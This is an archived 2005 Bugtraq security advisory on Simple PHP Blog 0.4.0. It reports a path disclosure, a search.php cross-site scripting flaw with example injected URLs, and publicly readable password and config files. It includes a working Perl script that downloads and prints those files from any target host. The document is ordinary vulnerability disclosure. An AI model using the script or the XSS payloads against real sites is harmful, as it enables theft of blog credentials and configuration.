[ECHO_ADV_12$2005] Vulnerabilities in sphpblog

From: echo staff (y3dips_at_echo.or.id)
Date: 04/15/05

  • Next message: Peter J. Holzer: "Re: gzip TOCTOU file-permissions vulnerability"
    Date: 15 Apr 2005 06:29:11 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    ECHO_ADV_12$2005

    ---------------------------------------------------------------------------
                         Vulnerabilities in sphpblog
    ---------------------------------------------------------------------------

    Author: y3dips
    Date: April, 13th 2005
    Location: Indonesia, Jakarta
    Web: http://echo.or.id/adv/adv012-y3dips-2005.txt

    ---------------------------------------------------------------------------

    Affected software description:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Simple PHP blog (sphpblog)

    version: 0.4.0
    lisensi: GPL - http://www.gnu.org/licenses/licenses.html#GPL
    url : http://sourceforge.net/projects/sphpblog/
    Author: Alexander Palmo (apalmo <at> bigevilbrain <dot> com)
    Description: simple Blog without databases needed

    ---------------------------------------------------------------------------

    Vulnerabilities:
    ~~~~~~~~~~~~~~~~

    A. Full Path disclosures

    http://[Url]/sphpblog/scripts/sb_functions.php

    Ex :

    Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in
    /var/www/sphpblog/scripts/sb_functions.php on line 52

    Fatal error: main(): Failed opening required 'scripts/sb_fileio.php'
    (include_path='.:/usr/share/pear') in
    /var/www/sphpblog/scripts/sb_functions.php on line 52

    B. XSS in search.php

    http://Url/sphpblog/search.php?q=[XSS]

    http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
    http://[URl]/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a>

    C. Critical Information dislosures

    Critical file (password and config file) are vulnerable to direct access
    to view 'critical' information about the blog and the user.

    Password file are using PHP`s crypt() function

    http://[Url]/sphpblog/config/password.txt
    http://[Url]/sphpblog/config/config.txt

    ---------------------------------------------------------------------------

    Script:
    ~~~~~~~

    #!/usr/bin/perl -w

    # Remote grabbing sphpblog password & config file by y3dips
    # Bug find by y3dips <http:// y3dips echo or id>
    # Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

    print "\n* Remote grabbing sphpblog password & config file by y3dips *\n";
    require LWP::UserAgent;

    if(@ARGV == 1)
            {

    $target= $ARGV[0];

    my $ua = LWP::UserAgent->new;
    $ua->agent("MSIE/6.0 Windows");
    $ua->timeout(10);
    $ua->env_proxy;

    my @url = ("http://$target/config/password.txt", " http://$target/config/config.txt");

    foreach my $urlz (@url) {
                my $injek = $ua->get($urlz);
                print "\n-------------------------------\n";
                if ($injek->is_success)
                     { print $injek->content;}
                else
                     {die $injek->status_line;}
                print "\n-------------------------------\n";

    }
    }
    else {
    print "Use: perl $0 [www.target.com] \n";
    }

    # EOF y3dips(c)2005
    # greetz :
    # @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 anonymous /;
    # @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
    # @echo = qw/ newbie_hacker@yahoogroups.com #e-c-h-o_@_DALnet /;

    ---------------------------------------------------------------------------

    Shoutz:
    ~~~~~~~

    ~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous
    ~ waraxe and all frineds at waraxe.us
    ~ newbie_hacker@yahoogroups.com ,
    ~ #e-c-h-o@DALNET

    ---------------------------------------------------------------------------
    Contact:
    ~~~~~~~~

         y3dips || echo|staff || y3dips[at]gmail[dot]com
         Homepage: http://y3dips.echo.or.id/

    -------------------------------- [ EOF ] ----------------------------------


  • Next message: Peter J. Holzer: "Re: gzip TOCTOU file-permissions vulnerability"

    Relevant Pages

    • Vulnerabilities in sphpblog
      ... Simple PHP blog (sphpblog) ... simple Blog without databases needed ... Critical Information dislosures ... Critical file (password and config file) are vulnerable to direct access ...
      (Bugtraq)
    • Re: aspnet_wp problems with large project
      ... The memory limitation is a setting in the config file. ... Xavier Pacheco ... Xapware Technologies Inc ... the blog: www.xavierpacheco.com/xlog ...
      (microsoft.public.dotnet.framework.aspnet)
    • Re: aspnet_wp problems with large project
      ... The memory limitation is a setting in the config file. ... Xavier Pacheco ... Xapware Technologies Inc ... the blog: www.xavierpacheco.com/xlog ...
      (microsoft.public.dotnet.general)
    • Re: Connection String problem
      ... So say, your application name is Tracey.exe, the config file will be ... Tracey.exe.config in the same directory as your exe. ... > application path with the connection string fetched from the config file ... >> You can reach me thru my blog at ...
      (microsoft.public.dotnet.framework.adonet)

  • Quantcast